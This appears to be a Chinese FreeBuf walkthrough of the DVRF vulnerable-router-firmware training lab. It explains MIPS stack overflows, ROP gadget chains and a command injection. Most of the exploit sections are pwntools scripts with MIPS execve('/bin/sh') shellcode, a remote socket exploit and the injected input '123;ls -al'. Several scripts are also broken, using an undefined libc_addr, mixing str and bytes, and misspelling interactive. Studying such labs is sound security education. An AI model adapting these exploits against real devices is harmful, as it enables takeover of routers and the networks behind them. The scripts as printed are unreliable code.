官方公众号企业安全新浪微博
FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。
FreeBuf+小程序
近年来随着各种IOT设备漏洞越来越被大众所关注,漏洞利用所带来的危害也日趋严重。本文通过利用DVRF项目来进一步分析设备固件,挖掘固件中存在的安全漏洞。该项目的目的是模拟真实设备环境,帮助人们了解 除x86_64 空间之外的其他 CPU 架构,同时帮助安全爱好者发现路由器固件中的隐藏奥秘。
2. 漏洞分析
2.1 Stack_bof_01
2.1.1 分析
查看是否开启保护(如图1-1 程序保护),未开启任何保护。
图1-1 程序保护
分析逆向程序(如图1-2漏洞位置),存在栈溢出漏洞。
图1-2 漏洞位置
查看程序是否调用其他程序(如图1-3后门函数),存在调用/bin/sh函数。
图1-3 后门函数
2.1.2 调试
生成随机字符串,确定偏移大小。
$ sudo cp $(which qemu-mipsel-static) .
$ sudo ./qemu-mipsel-static -g 1234 -L . ./pwnable/Intro/stack_bof_01 #输入内容
$ cyclic 500 #生成随机字符串
$ cyclic -l #地址
GDB调试命令。
$ gdb-multiarch stack_bof_01
pwndbg> set arch mipse
pwndbg> set endian little
pwndbg> target remote :1234
pwndbg> continue
确定后门函数地址(如图1-4 后门函数地址)。
构造Payload=偏移+后门函数地址调试(如图1-5 动态调试),跳转发生错误。
图1-5 动态调试
查询MIPS指令集,MIPS跳转方式:
1.设置t9寄存器数值,跳转到t9寄存器;
2.在执行某个函数之前,将要跳转的地址保存在ra寄存器中,执行函数后可跳转。
查询程序调用libc基地址(如图1-6 libc基地址)0x7f6e5000。
图1-6 libc基地址
2.1.3 获取Gadget
根据MIPS跳转方式,需要寻找如下汇编代码段。
ROPGadget查找(如图1-7 gadget)。
$ ROPgadet --binary lib/libc.so.0 --only "lw|jalr"
图1-7 gadget
gadget偏移=0x6b20
gadget真实地址=0x7f6e5000+0x6b20
如图1-8 真实跳转地址。
图1-8 真实跳转地址
2.1.4 漏洞测试
EXP代码
from pwn import *
libc_base = 0x7f6e5000
gadget_addr = libc_base + 0x6b20
offset = 204
dat_shell = 0x400950
payload = b'A' * offset
payload += p32(gadget_addr)
payload += p32(dat_shell)
with open("shellcode","wb")as f:
f.write(payload)
print("shellcode Write Ok!")
测试如图1-9 漏洞复现
图1-9 漏洞复现
2.2 Stack_bof_02
2.2.1 分析
查看是否开启保护(如图2-1 程序保护)。
图2-1 程序保护
2.2.2调试
确定偏移大小(如图2-2 随机字符测试)。
图2-2 随机字符串测试
计算偏移(如图2-3 偏移计算),偏移大小为508。
图2-3 偏移计算
获取基地址0x7f6e5000(如图2-4 libc基地址)。
图2-4 libc基地址
2.2.2 获取Gadget
注意点:MIPS漏洞利用首先需要sleep(ns)更新codecache,然后才能执行栈上的shellcode。
流程:
1.跳转
2.设置ra寄存器
3.执行sleep函数
寻找sleep函数,执行sleep函数之后,返回$ra寄存器执行shellcode内容。
1.寻找将寄存器$a0赋值为1的gadget(如图2-5 gadget位置)。
图 2-5 gadget位置
Gadget汇编代码(如图2-6 汇编代码)。
图2-6 汇编代码
跳转寄存器为$s1,此时在原来覆盖栈数据时候就要求覆盖$s1寄存器,以达到跳转到下一个gadget。
2.寻找栈上的数据传递给$s1寄存器的gadget。
TIPS:查资料发现在uclibc或者scandir64函数末尾有个gadget可以操控所有寄存器(如图2-7 控制器Gadget)。
图2-7 控制器Gadget
布置下一个gadget的$ra。
此时栈内容如下
libc_base_addr = 0x7f6e5000
offset = 508
payload = b'A' * offset #偏移
payload += p32(libc_addr + 0xAFE0)
#所申请栈空间为 0x40+var_4($sp) = 0x3C($sp)
payload += b'A' * 0x3c #栈大小为0x3c
payload += b'B' * 4 # ra
动态调试
第一个gadget跳转(如图2-8 第一个gadget)。
图2-8 第一个gadget
$ra数值0x42424242(如图2-9 $ra值)。
图 2-9 $ra值
函数调用gadget跳转到0x2FB10,调用sleep函数,无法控制$ra寄存器,sleep函数无法返回(如图2-10 sleep无法返回)。
图 2-10 sleep无法返回
寻找一个既可以调用sleep函数又可以控制$ra寄存器的gadget(如图2-11 调用sleep的Gadget)。
图2-11 调用sleep的gadget
查找$a0,载入shellcode的gadget(如图2-12 跳转)
图2-12 跳转
2.2.3 漏洞测试
EXP
from pwn import *
context.endian = 'little'
context.arch = 'mips'
libc_base_addr = 0x7f6e5000
sleep_offset = 0x2F2B0
shellcode = b""
shellcode += "\xff\xff\x06\x28" # slti $a2, $zero, -1
shellcode += "\x62\x69\x0f\x3c" # lui $t7, 0x6962
shellcode += "\x2f\x2f\xef\x35" # ori $t7, $t7, 0x2f2f
shellcode += "\xf4\xff\xaf\xaf" # sw $t7, -0xc($sp)
shellcode += "\x73\x68\x0e\x3c" # lui $t6, 0x6873
shellcode += "\x6e\x2f\xce\x35" # ori $t6, $t6, 0x2f6e
shellcode += "\xf8\xff\xae\xaf" # sw $t6, -8($sp)
shellcode += "\xfc\xff\xa0\xaf" # sw $zero, -4($sp)
shellcode += "\xf4\xff\xa4\x27" # addiu $a0, $sp, -0xc
shellcode += "\xff\xff\x05\x28" # slti $a1, $zero, -1
shellcode += "\xab\x0f\x02\x24" # addiu;$v0, $zero, 0xfab
shellcode += "\x0c\x01\x01\x01" # syscall 0x40404
payload = b'A' * 508
payload += p32(libc_addr + 0xAfe0) # jr $ra
#---------------stack 1-------------------
payload += b'A' * (0x3c - 4 * 9)
payload += b'A' * 4 # s0
payload += p32(libc_addr + 0x21C34) # s1 -> move $t9,$s3
payload += b'A' * 4 # s2
payload += p32(libc_addr + sleep_offset) # s3
payload += b'A' * 4 # s4
payload += b'A' * 4 # s5
payload += b'A' * 4 # s6
payload += b'A' * 4 # s7
payload += b'A' * 4 # fp
payload += p32(libc_addr + 0x2FB10) # ra
#---------------stack 2-------------------
payload += b'B' * 0x24
payload += p32(libc_addr + 0x214A0) # s3
payload += b'B' * 4 # s4
payload += p32(libc_addr + 0x171CC) # ra
payload += b'A' * 0x18
payload += shellcode
with open('shellcode','wb') as f:
f.write(payload)
漏洞测试(如图2-13 漏洞测试)。
图 2-13 漏洞测试
2.3 Socket_bof
2.3.1 分析
查看是否开启程序保护(如图3-1 程序保护)。
图3-1 程序保护
查看漏洞点(如图3-2 漏洞点),Sprint存在栈溢出。
V10 大小为500
V11 大小为50
图3-2 漏洞点
2.3.2 调试
计算偏移大小(如图3-3 计算偏移),偏移大小为51。
图3-3 计算偏移
2.3.3 获取Gadget
构造方法如上所述,不做详细解释。
2.3.4 漏洞测试
EXP
from pwn import *
context.endian = 'little'
context.arch = 'mips'
libc_base_addr = 0x7f6e5000
sleep_offset = 0x2F2B0
system_offset = 0x2bfd0
shellcode += b"\xff\xff\x06\x28" # slti $a2, $zero, -1
shellcode += b"\x62\x69\x0f\x3c" # lui $t7, 0x6962
shellcode += b"\x2f\x2f\xef\x35" # ori $t7, $t7, 0x2f2f
shellcode += b"\xf4\xff\xaf\xaf" # sw $t7, -0xc($sp)
shellcode += b"\x73\x68\x0e\x3c" # lui $t6, 0x6873
shellcode += b"\x6e\x2f\xce\x35" # ori $t6, $t6, 0x2f6e
shellcode += b"\xf8\xff\xae\xaf" # sw $t6, -8($sp)
shellcode += b"\xfc\xff\xa0\xaf" # sw $zero, -4($sp)
shellcode += b"\xf4\xff\xa4\x27" # addiu $a0, $sp, -0xc
shellcode += b"\xff\xff\x05\x28" # slti $a1, $zero, -1
shellcode += b"\xab\x0f\x02\x24" # addiu;$v0, $zero, 0xfab
shellcode += b"\x0c\x01\x01\x01" # syscall 0x40404
payload = b'A' * 51
payload += p32(libc_addr + 0xAfe0) # jr $ra
#---------------stack 1-------------------
payload += b'A' * (0x3c - 4 * 9)
payload += b'A' * 4 # s0
payload += p32(libc_addr + 0x21C34) # s1 -> move $t9,$s3
payload += b'A' * 4 # s2
payload += p32(libc_addr + sleep_offset) # s3
payload += b'A' * 4 # s4
payload += b'A' * 4 # s5
payload += b'A' * 4 # s6
payload += b'A' * 4 # s7
payload += b'A' * 4 # fp
payload += p32(libc_addr + 0x2FB10) # ra
#---------------stack 2-------------------
payload += b'B' * 0x24
payload += p32(libc_addr + system_offset) # s3
payload += b'B' * 4 # s4
payload += p32(libc_addr + 0x171CC) # ra
payload += b'A' * 0x18
payload += shellcode #shellcode也可以,不做详细解释
p = remote('127.0.0.1',9999)
p.recvuntil(b'Send Me Bytes:')
p.sendline(payload)
p.interactive()
漏洞测试(如图3-4 漏洞测试)。
图3-4 漏洞测试
2.4 Socket_cmd
2.4.1 分析
检查是否开启程序保护(如图4-1 程序保护)。
图4-1 程序保护
查看漏洞点(如图4-2 漏洞点),命令注入漏洞。
图4-2 漏洞点
2.4.2 漏洞测试
EXP
from pwn import *
p = remote('127.0.0.1',9999)
payload=b'123;ls -al'
p.sendline(payload)
p.interfactive()
漏洞测试结果(如图4-3 漏洞测试)。
图4-3 漏洞测试
通过DVRF模拟靶场,深入熟悉了解MIPS架构下shellcode的利用及ROP攻击的原理。